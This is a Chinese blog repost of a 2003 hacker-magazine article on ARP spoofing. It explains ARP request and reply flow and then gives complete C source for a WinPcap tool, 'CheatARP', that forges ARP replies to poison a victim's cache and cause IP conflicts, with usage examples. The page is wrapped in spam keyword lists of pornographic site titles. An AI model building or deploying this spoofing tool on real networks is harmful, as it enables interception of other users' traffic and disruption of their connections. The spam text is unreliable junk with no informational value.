青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

mEjY的自由世界

眼界決定世界

ARP包的結(jié)構(gòu)和發(fā)送【轉(zhuǎn)載】

最近要完成一個發(fā)送arp包的功能,以前沒做過封包發(fā)送的內(nèi)容,查找了寫資料。不過看代碼,arp包的結(jié)構(gòu)搞懂了,不知道為啥還要個頭,呵呵原來還要個以太網(wǎng)包頭。看來基礎(chǔ)知識還要加強啊,這里找了個寫的比較詳細的例子。

arp 欺騙的技術(shù)原理及應(yīng)用<首發(fā)于黑客防線2003年11期>

WriteBy: LionD8

email:   LionD8@126.com

Wesite:   http://liond8.126.com

 

    你知道,數(shù)據(jù)包在局域網(wǎng)上是怎么傳輸?shù)膯幔渴强渴裁磥韨鬏數(shù)膯幔恳苍S你會說是靠IP地址,那么你只正確了一半。其實真正在傳輸過程中是靠計算機的網(wǎng)卡地址即MAC來傳輸。

   現(xiàn)在我們就用實例來模擬一下傳輸?shù)娜^程。現(xiàn)在有一臺計算機A(IP:192.168.85.1  MAC:AA-AA-AA-AA-AA-AA),另一臺計算機B(IP:192.168.85.100MAC:BB-BB-BB-BB-BB-BB)現(xiàn)在用A去 ping B。看見 Reply from 192.168.85.100:bytes=32 time<10ms TTL=32 這樣的信息。然后在運行中輸入arp -a,會看見 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic這樣的信息。那就是arp高速緩存中IP地址和MAC地址的一個映射關(guān)系,在以太網(wǎng)中,數(shù)據(jù)傳遞靠的是MAC,而并不是IP地址。其實在這背后就隱藏著arp的秘密。你一定會問,網(wǎng)絡(luò)上這么多計算機,A是怎么找到B的?那么我們就來分析一下細節(jié)。首先A并不知道B在哪里,那么A首先就會發(fā)一個廣播的ARP請求,即目的MAC為FF-FF-FF-FF-FF-FF,目的IP為B的192.168.85.100,再帶上自己的源IP,和源MAC。那么一個網(wǎng)段上的所有計算機都會接收到來自A的ARP請求,由于每臺計算機都有自己唯一的MAC和IP,那么它會分析目的IP即192.168.85.100是不是自己的IP?如果不是,網(wǎng)卡會自動丟棄數(shù)據(jù)包。如果B接收到了,經(jīng)過分析,目的IP是自己的,于是更新自己的ARP高速緩存,記錄下A的IP和MAC。然后B就會回應(yīng)A一個ARP應(yīng)答,就是把A的源IP,源MAC變成現(xiàn)在目的IP,和目的MAC,再帶上自己的源IP,源MAC,發(fā)送給A。當(dāng)A機接收到ARP應(yīng)答后,更新自己的ARP高速緩存,即把arp應(yīng)答中的B機的源IP,源MAC的映射關(guān)系記錄在高速緩存中。那么現(xiàn)在A機中有B的MAC和IP,B機中也有A的MAC和IP。arp請求和應(yīng)答過程就結(jié)束了。由于arp高速緩存是會定時自動更新的,在沒有靜態(tài)綁定的情況下,IP和MAC的映射關(guān)系會時間流逝自動消失。在以后的通信中,A在和B通信時,會首先察看arp高速緩存中有沒有B的IP和MAC的映射關(guān)系,如果有,就直接取得MAC地址,如果沒有就再發(fā)一次ARP請求的廣播,B再應(yīng)答即重復(fù)上面動作。

   好了在了解了上面基本arp通信過程后,現(xiàn)在來學(xué)習(xí)arp欺騙技術(shù)就好理解多了,計算機在接收到ARP應(yīng)答的時候,不管有沒有發(fā)出ARP請求,都會更新自己的高速緩存。利用這點如果C機(IP:192.168.85.200MAC:CC-CC-CC-CC-CC-CC)偽裝成B機向A發(fā)出ARP應(yīng)答,自己偽造B機的源MAC為CC-CC-CC-CC-CC-CC,源IP依舊偽造成B的IP即192.168.85.100,是那么A機的ARP緩存就會被我們偽造的MAC所更新,192.168.85.100對應(yīng)的MAC就會變成CC-CC-CC-CC-CC-CC.如果A機再利用192.168.85.100即B的IP和B通信,實際上數(shù)據(jù)包卻發(fā)給了C機,B機根本就接收不到了。

    下面給出一些程序?qū)崿F(xiàn)的基本算法。先來給出ARP首部和請求應(yīng)答的數(shù)據(jù)結(jié)構(gòu)。如下:

 

以太網(wǎng)  | 以太網(wǎng) | 幀  | 硬件 | 協(xié)議| 硬件 | 協(xié)議 | OP| 發(fā)送端   |發(fā)送端|目的以太|目的

目的地址| 源地址 | 類型| 類型 | 類型| 長度 | 長度 |   |以太網(wǎng)地址|  IP  |網(wǎng)地址  | IP

  6         6        2    2      2      1     1     2     6         4      6        4

|<---以太網(wǎng)首部---->|<-------------------28字節(jié)的ARP請求/應(yīng)答------------->|

 

然后我們根據(jù)上面的數(shù)據(jù)結(jié)構(gòu)定義兩個結(jié)構(gòu)分別如下:

//定義一個以太網(wǎng)頭部

typedef struct ehhdr

{

    UCHAR    eh_dst[
6];        /* destination ethernet addrress */

    UCHAR    eh_src[
6];        /* source ethernet addresss */

    USHORT   eh_type;          
/* ethernet pachet type    */

}
EHHEADR, *PEHHEADR;

//28字節(jié)的ARP請求/應(yīng)答

typedef struct arphdr

{

    USHORT    arp_hrd;            
/* format of hardware address */

    USHORT    arp_pro;            
/* format of protocol address */

    UCHAR     arp_hln;            
/* length of hardware address */

    UCHAR     arp_pln;            
/* length of protocol address */

    USHORT    arp_op;             
/* ARP/RARP operation */

    UCHAR     arp_sha[
6];         /* sender hardware address */

    ULONG     arp_spa;            
/* sender protocol address */

    UCHAR     arp_tha[
6];         /* target hardware address */

    ULONG     arp_tpa;            
/* target protocol address */

}
ARPHEADR, *PARPHEADR;

//把上面定義的兩種結(jié)構(gòu)封裝起來

typedef struct arpPacket

{

    EHHEADR    ehhdr;

    ARPHEADR   arphdr;

}
 ARPPACKET, *PARPPACKET;

那么我們自己打造的ARP結(jié)構(gòu)就完成了,剩下的事情就是把我們打造好的結(jié)構(gòu)按照我們的需求賦上值,然后通過適配器發(fā)送出去就OK了。

    比如說我們要用C機,去欺騙A機,更新A的ARP緩存中192.168.85.100(B的IP)的MAC為C機的。

    首先定義一個ARPPACKET結(jié)構(gòu):

    ARPPACKET  ARPPacket;

    ARPPacket.ehhdr.eh_type=htons(0x0806);  //數(shù)據(jù)類型ARP請求或應(yīng)答

       ARPPacket.arphdr.arp_hrd = htons(0x0001); //硬件地址為0x0001表示以太網(wǎng)地址

       ARPPacket.arphdr.arp_pro = htons(0x0800); //協(xié)議類型字段為0x0800表示IP地址

    ARPPacket.ehhdr.eh_dst=0xAAAAAAAAAAAA   //A機的MAC

    ARPPacket.ehhdr.eh_src=0xCCCCCCCCCCCC    //C機的源MAC

    ARPPacket.arphdr.arp_hln = 6;                  

       ARPPacket.arphdr.arp_pln = 4;

       ARPPacket.arphdr.arp_op = htons(0x0002);      //ARP應(yīng)答值為2

    ARPPacket.arphdr.arp_spa = 0xCCCCCCCCCCCC //偽造的MAC,在這里C機用的自己的

    ARPPacket.arphdr.arp_tha = 0xAAAAAAAAAAAA //

    ARPPacket.arphdr.arp_spa =inet_addr("192.168.85.100");  //偽造B的IP地址

    ARPPacket.arphdr.arp_tpa = inet_addr("192.168.85.1");   //目標A的IP地址

//把要發(fā)送的數(shù)據(jù)保存在一個緩沖區(qū)szPacketBuf中,到時候只要把szPacketBuf的數(shù)據(jù)發(fā)送出去就可以了。

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

要發(fā)送數(shù)據(jù),首先得打開一個適配器,打開一個適配器又需要先獲得適配器的名字。如下:

PacketGetAdapterNames((char*)AdapterName, &AdapterLength); //取得所有適配器的名字.

 

LPPACKET lpAdapter =PacketOpenAdapter((LPTSTR) AdapterList[0]); //打開第一塊適配器

第一塊的下標是從0開始的。返回一個指針,它指向一個正確初始化了的ADAPTER Object

 

lpPacket = PacketAllocatePacket(); //為_PACKET結(jié)構(gòu)分配內(nèi)存。

PacketInitPacket(lpPacket, szPacketBuf, 60); //packet結(jié)構(gòu)中的buffer設(shè)置為傳遞的szPacketBuf指針

PacketSetNumWrites(lpAdapter, 2); //設(shè)置發(fā)送次數(shù)為2次

//一切就緒發(fā)送:

PacketSendPacket(lpAdapter, lpPacket, TRUE); //通過打開的適配器把szPacketBuf的數(shù)據(jù)發(fā)送出去。

PacketFreePacket(lpPacket);         //釋放_PACKET結(jié)構(gòu)

PacketCloseAdapter(lpAdapter);      //關(guān)閉適配器

然后 在A機上的運行中輸入arp -a 會發(fā)現(xiàn)原來的 192.168.85.100 BB-BB-BB-BB-BB-BB

變成 192.168.85.100 CC-CC-CC-CC-CC-CC 了。

   另外利用ARP欺騙還可以進行IP沖突,網(wǎng)絡(luò)執(zhí)行官就是利用的這個原理,下面只簡單介紹一下,如果A機接收到一個ARP應(yīng)答,其中源IP是192.168.85.1(當(dāng)然是偽造的),而MAC地址卻和A的MAC不同,那么A機就會認為同一個IP對應(yīng)了兩臺計算機(因為發(fā)現(xiàn)了兩個不同的MAC地址)

那么就會出現(xiàn)IP沖突。

CheatARP <desIP> <desMac> <sourceIP> <sourceMac>

比如利用我做的工具:CheatARP 192.168.85.1 AAAAAAAAAAAA 192.168.85.1 BAAAAAAAAAAAA  那么A就會被沖突。

    以上只是代碼實現(xiàn)的基本思路和核心代碼,有興趣的朋友可以看看我的源碼,源碼上也有比較詳盡的注釋。

 

 

源代碼:

/*

ARP 的欺騙的技術(shù)原理及應(yīng)用

請先安裝 WinPcap_3_0_a.exe

測試環(huán)境2k。

實用平臺 NT,2K,XP

*/


#include 
"stdio.h"

#include 
"Packet32.h"

#include 
"wchar.h"

#define EPT_IP 
0x0800 /* type: IP */

#define EPT_ARP 
0x0806 /* type: ARP */

#define EPT_RARP 
0x8035 /* type: RARP */

#define ARP_HARDWARE 
0x0001 /* Dummy type for 802.3 frames */

#define ARP_REQUEST 
0x0001 /* ARP request */

#define ARP_REPLY 
0x0002 /* ARP reply */

#pragma comment(lib, 
"packet.lib")

#pragma comment(lib, 
"ws2_32.lib")

#pragma pack(push, 
1)

//定義一個以太網(wǎng)頭部

typedef struct ehhdr

{

UCHAR eh_dst[
6]; /* destination ethernet addrress */

UCHAR eh_src[
6]; /* source ethernet addresss */

USHORT eh_type; 
/* ethernet pachet type */

}
EHHEADR, *PEHHEADR;

//定義一個28字節(jié)的arp應(yīng)答/請求

typedef struct arphdr

{

USHORT arp_hrd; 
/* format of hardware address */

USHORT arp_pro; 
/* format of protocol address */

UCHAR arp_hln; 
/* length of hardware address */

UCHAR arp_pln; 
/* length of protocol address */

USHORT arp_op; 
/* ARP/RARP operation */

UCHAR arp_sha[
6]; /* sender hardware address */

ULONG arp_spa; 
/* sender protocol address */

UCHAR arp_tha[
6]; /* target hardware address */

ULONG arp_tpa; 
/* target protocol address */

}
ARPHEADR, *PARPHEADR;

//把上面定義的兩種結(jié)構(gòu)封裝起來

typedef struct arpPacket

{

EHHEADR ehhdr;

ARPHEADR arphdr;

}
 ARPPACKET, *PARPPACKET;

#pragma pack(pop)

void Usage();

void ChangeMacAddr(char *p, UCHAR a[]); 

void banner();

int main(int argc, char* argv[])

{

static CHAR AdapterList[10][1024]; 

TCHAR szPacketBuf[
512];

UCHAR MacAddr[
6];

LPADAPTER lpAdapter;

LPPACKET lpPacket;

WCHAR AdapterName[
2048];

WCHAR 
*temp,*temp1;

ARPPACKET ARPPacket;

ULONG AdapterLength 
= 1024;

DWORD AdapterNum 
= 0;

DWORD nRetCode, i;

banner(); 

if(argc!=5)

{

Usage();

return 0;

}
 

//取得所有適配器的名字.

if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)

{

//AdapterName:一塊用戶負責(zé)分配的緩沖區(qū),將把適配器的名字填充進去,

//一串用一個Unicode的"0"分隔的Unicode字符串,每一個都是一個網(wǎng)卡的名字

//AdapterLength:這塊緩沖區(qū)的大小

printf(
"Unable to retrieve the list of the adapters!");

return 0;

}


temp 
= AdapterName;

temp1
=AdapterName;

= 0;

//把AdapterName中的適配器,分個copy到AdapterList[]中,i從0開始為第一個

while ((*temp != '0')||(*(temp-1!= '0'))

{

if (*temp == '0')

{

memcpy(AdapterList[i],temp1,(temp
-temp1)*sizeof(WCHAR));

temp1
=temp+1;

i
++;

}


temp
++;

}


AdapterNum 
= i;

for (i = 0; i < AdapterNum; i++)

wprintf(L
"%d- %s", i+1, AdapterList[i]);

/* 注意,在這里一定要選擇正確的適配器不然會自動重起 */

/* 我機器上的是 */

/* 1- _NdisWanIp */

/* 2- _{02C36709-5318-4861-86DE-A7A81118BFCC} */

/* 選擇類似第2項的那種 一定要注意哦! */ 

printf(
"select adapter number:");

scanf(
"%d",&i); //我是輸入的2 

if(i>AdapterNum)

{

printf(
"Number error!");

return 0;

}


//打開剛剛選擇的那個適配器,AdapterList[i-1]為適配器名字

//如果打開成功,返回一個指針,它指向一個正確初始化了的ADAPTER Object。否則,返回NULL。

lpAdapter 
= (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]); 

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

{

nRetCode 
= GetLastError();

printf(
"Unable to open the driver, Error Code : %lx", nRetCode);

return 0;

}


//為_PACKET結(jié)構(gòu)分配內(nèi)存。如果執(zhí)行成功,返回指向_PACKET結(jié)構(gòu)的指針。否則,返回NULL。

lpPacket 
= PacketAllocatePacket();

if(lpPacket == NULL)

{

printf(
":failed to allocate the LPPACKET structure.");

return 0;

}


memset(szPacketBuf, 
0, sizeof(szPacketBuf)); //初始化szPacketBuf為0

ChangeMacAddr(argv[
2], MacAddr); //MAC地址轉(zhuǎn)換

memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 
6); //目的MAC地址

ChangeMacAddr(argv[
4], MacAddr); //MAC地址轉(zhuǎn)換

memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 
6); //源MAC地址。

ARPPacket.ehhdr.eh_type 
= htons(EPT_ARP); //數(shù)據(jù)類型ARP請求或應(yīng)答

ARPPacket.arphdr.arp_hrd 
= htons(ARP_HARDWARE); //硬件地址為0x0001表示以太網(wǎng)地址

ARPPacket.arphdr.arp_pro 
= htons(EPT_IP); //協(xié)議類型字段為0x0800表示IP地址

//硬件地址長度和協(xié)議地址長度分別指出硬件地址和協(xié)議地址的長度,

//以字節(jié)為單位。對于以太網(wǎng)上IP地址的ARP請求或應(yīng)答來說,它們的值分別為6和4。

ARPPacket.arphdr.arp_hln 
= 6

ARPPacket.arphdr.arp_pln 
= 4;

ARPPacket.arphdr.arp_op 
= htons(ARP_REPLY); //ARP請求值為1,ARP應(yīng)答值為2,RARP請求值為3,RARP應(yīng)答值為4

ChangeMacAddr(argv[
4], MacAddr); //MAC地址轉(zhuǎn)換

memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 
6); //偽造的MAC地址

ARPPacket.arphdr.arp_spa 
= inet_addr(argv[3]); //偽造的IP地址

ChangeMacAddr(argv[
2], MacAddr); //MAC地址轉(zhuǎn)換

memset(ARPPacket.arphdr.arp_tha,
0,6); //初始化0

memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 
6); //目標的MAC地址 

ARPPacket.arphdr.arp_tpa 
= inet_addr(argv[1]); //目標的IP地址

//把剛剛自己偽造的ARPPACKET結(jié)構(gòu)復(fù)制到szPacketBuf中

memcpy(szPacketBuf, (
char*)&ARPPacket, sizeof(ARPPacket));

//初始化一個_PACKET結(jié)構(gòu),即將packet結(jié)構(gòu)中的buffer設(shè)置為傳遞的szPacketBuf指針。

//lpPacket,指向一個_PACKET結(jié)構(gòu)的指針。

//szPacketBuf,一個指向一塊用戶分配的緩沖區(qū)的指針。

//60,緩沖區(qū)的大小。這是一個讀操作從driver傳遞到應(yīng)用的最大數(shù)據(jù)量。

PacketInitPacket(lpPacket, szPacketBuf, 
60);

//設(shè)置發(fā)送次數(shù)2次

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)

{

printf(
"warning: Unable to send more than one packet in a single write!");

}


//發(fā)送剛剛偽造的數(shù)據(jù)包

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf(
"Error sending the packets!");

return 0;

}


printf (
"Send ok!");

PacketFreePacket(lpPacket); 
//釋放_PACKET結(jié)構(gòu)

PacketCloseAdapter(lpAdapter); 
//關(guān)閉適配器

return 0;

}


void Usage()

{

printf(
"CheatARP <DstIP> <DstMAC> <SourceIP> <SourceMAC>");

printf(
"Such as:");

printf(
"CheatARP 192.168.85.1 FFFFFFFFFFFF 192.168.85.129 005056E9D042");

printf(
"CheatARP 192.168.85.1 005056E9D041 192.168.85.129 AAAAAAAAAAAA");

}


//把輸入的12字節(jié)的MAC字符串,轉(zhuǎn)變?yōu)?字節(jié)的16進制MAC地址

void ChangeMacAddr(char *p, UCHAR a[])

{

char* p1=NULL;

int i=0;

int high ,low;

char temp[1];

for (i=0; i<6; i++)

{

p1
=p+1;

switch (*p1) //計算低位的16進進制

{

case 'A': low=10;

break;

case 'B': low=11;

break;

case 'C': low=12;

break;

case 'D': low=13;

break;

case 'E': low=14;

break;

case 'F': low=15;

break;

default: temp[0]=*p1;

low
=atoi(temp); //如果為數(shù)字就直接轉(zhuǎn)變成對應(yīng)的數(shù)值

}


switch (*p) //計算高位的16進制

{

case 'A': high=10;

break;

case 'B': high=11;

break;

case 'C': high=12;

break;

case 'D': high=13;

break;

case 'E': high=14;

break;

case 'F': high=15;

break;

default: temp[0]=*p;

high
=atoi(temp); //如果為數(shù)字就直接轉(zhuǎn)變成對應(yīng)的數(shù)值

}


p
+=2//指針指向下一個X(高)X(低)字符串

a[i]
=high*16+low; //求和得16進制值

}


}


void banner()

{

printf(
"Made By LionD8.");

printf(
"www.hackerXfiles.com");

}


如轉(zhuǎn)載:請說明作者信息,表明首發(fā)刊物。

posted on 2007-09-26 14:07 mEjY 閱讀(11191) 評論(1)  編輯 收藏 引用

評論

# re: ARP包的結(jié)構(gòu)和發(fā)送【轉(zhuǎn)載】 2008-04-29 15:48 過路者

不錯  回復(fù)  更多評論   


只有注冊用戶登錄后才能發(fā)表評論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


<2008年1月>
303112345
6789101112
13141516171819
20212223242526
272829303112
3456789

導(dǎo)航

統(tǒng)計

常用鏈接

留言簿(1)

隨筆檔案

文章分類

文章檔案

搜索

最新評論

閱讀排行榜

評論排行榜

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            在线日韩中文字幕| 欧美色欧美亚洲高清在线视频| 欧美成人自拍视频| 免费成年人欧美视频| 久久婷婷影院| 欧美亚洲三区| 欧美激情一区二区三区高清视频| 亚洲精品国产精品国自产观看| 亚洲高清不卡一区| 日韩午夜在线| 亚洲在线一区| 乱中年女人伦av一区二区| 亚洲电影激情视频网站| 亚洲黄页视频免费观看| 亚洲私人影院| 久久久亚洲成人| 欧美午夜寂寞影院| 伊人成年综合电影网| 一区二区三区免费网站| 久久久99精品免费观看不卡| 亚洲精品1区2区| 欧美中文在线免费| 欧美日韩一视频区二区| 加勒比av一区二区| 亚洲一区二区高清| 欧美高清视频一区二区三区在线观看| 日韩亚洲欧美一区二区三区| 性色av一区二区三区红粉影视| 免费日韩av电影| 国产永久精品大片wwwapp| 一区二区91| 欧美激情精品久久久久| 亚洲欧美在线一区二区| 欧美日本免费| 91久久视频| 美女91精品| 欧美在线啊v一区| 国产精品久久波多野结衣| 最新国产成人在线观看| 久久亚洲精品欧美| 午夜精品久久久久久久99水蜜桃 | 亚洲精品一区二区在线| 久久精品99国产精品日本| 野花国产精品入口| 欧美电影美腿模特1979在线看| 国产日韩精品一区二区| 亚洲午夜91| 亚洲免费精彩视频| 欧美精品尤物在线| 在线观看视频亚洲| 久久综合伊人| 久久久精品国产免费观看同学| 国产精品久久久久久影视| 9i看片成人免费高清| 亚洲高清网站| 欧美成人精品福利| 亚洲经典自拍| 亚洲国产va精品久久久不卡综合| 1024欧美极品| 一区二区三区不卡视频在线观看| 欧美成人小视频| 久久综合中文字幕| 一色屋精品亚洲香蕉网站| 每日更新成人在线视频| 久久免费视频在线| 最新亚洲激情| 一片黄亚洲嫩模| 国产精品午夜电影| 久久国产精品久久久久久久久久| 亚洲欧美一区二区原创| 国产一区二区三区观看| 老牛嫩草一区二区三区日本| 噜噜噜91成人网| 一道本一区二区| 亚洲欧美激情一区二区| 国产一级揄自揄精品视频| 米奇777超碰欧美日韩亚洲| 久久一区二区三区av| 亚洲免费观看视频| 午夜激情综合网| 亚洲精品黄色| 亚洲男人第一av网站| 国产一区二区三区日韩| 欧美国产丝袜视频| 国产精品国产三级国产普通话蜜臀| 欧美一区视频| 免费在线播放第一区高清av| 亚洲性图久久| 久久漫画官网| 亚洲一区二区三区三| 午夜亚洲视频| 亚洲精品国产日韩| 亚洲欧美日韩中文在线制服| 亚洲国产综合在线| 亚洲欧美久久久| 亚洲精品美女在线观看播放| 亚洲欧美久久久久一区二区三区| 亚洲国产高清在线| 亚洲女人天堂av| 日韩亚洲欧美成人| 久久精品国产久精国产爱| 亚洲视频在线看| 蘑菇福利视频一区播放| 久久国产精品网站| 欧美日韩一区二区欧美激情| 麻豆久久久9性大片| 国产精品视频免费一区| 最新亚洲一区| 在线成人亚洲| 欧美一级久久久久久久大片| 日韩午夜精品| 美玉足脚交一区二区三区图片| 午夜精品久久久久久久| 欧美成人一区二区三区在线观看| 久久久久综合一区二区三区| 欧美小视频在线| 亚洲精品国产精品乱码不99| 亚洲高清久久久| 久久精品国产综合| 久久riav二区三区| 国产精品美女久久久浪潮软件| 亚洲精品综合精品自拍| 亚洲视频999| 国产精品午夜春色av| 亚洲精品日韩在线| 亚洲国产成人av| 久久福利视频导航| 久久狠狠婷婷| 国产精品自拍三区| 亚洲宅男天堂在线观看无病毒| 一区二区三区高清不卡| 欧美精品日韩精品| 亚洲精品影视| 亚洲午夜免费福利视频| 欧美精品色综合| 亚洲精品国精品久久99热| 亚洲精品社区| 欧美日韩精品福利| 一区二区三区精品久久久| 夜夜嗨av色一区二区不卡| 欧美日本一区二区三区 | 亚洲一卡久久| 亚洲欧美国产精品桃花| 国产精品免费一区豆花| 亚洲免费视频网站| 久久精品国产亚洲一区二区| 韩国精品在线观看| 免费观看欧美在线视频的网站| 浪潮色综合久久天堂| 亚洲欧洲日本mm| 欧美日韩亚洲激情| 午夜精品一区二区三区电影天堂 | 亚洲电影在线观看| 欧美a级片网站| 日韩视频精品在线| 性做久久久久久免费观看欧美 | 亚洲综合精品一区二区| 国产精品免费观看视频| 欧美资源在线| 91久久在线| 欧美一级久久久| 亚洲国产精品成人| 欧美三级电影精品| 久久都是精品| 日韩网站在线| 久久青草欧美一区二区三区| 亚洲精品免费一二三区| 国产精品毛片va一区二区三区 | 欧美福利电影网| 亚洲在线播放| 亚洲国产精品国自产拍av秋霞| 欧美日韩精品久久| 久久久久欧美精品| 亚洲视频免费看| 亚洲国产一区二区三区青草影视 | 午夜精品免费| 亚洲国产日韩综合一区| 国产精品久久久久久福利一牛影视| 久久国产精品黑丝| 99精品国产热久久91蜜凸| 久久久久国产精品www| 一区二区精品| 亚洲综合色网站| 欧美夜福利tv在线| 亚洲日本中文字幕区| 国产精品五月天| 欧美精品福利在线| 久久久久国产一区二区三区四区| 99精品欧美一区二区三区综合在线| 久久躁狠狠躁夜夜爽| 亚洲欧美日韩一区在线| 日韩特黄影片| 91久久精品一区| 一区二区三区在线观看国产| 欧美午夜一区二区福利视频| 欧美经典一区二区| 久久亚洲视频| 久久精品国产综合| 欧美伊人久久大香线蕉综合69| 日韩视频永久免费观看|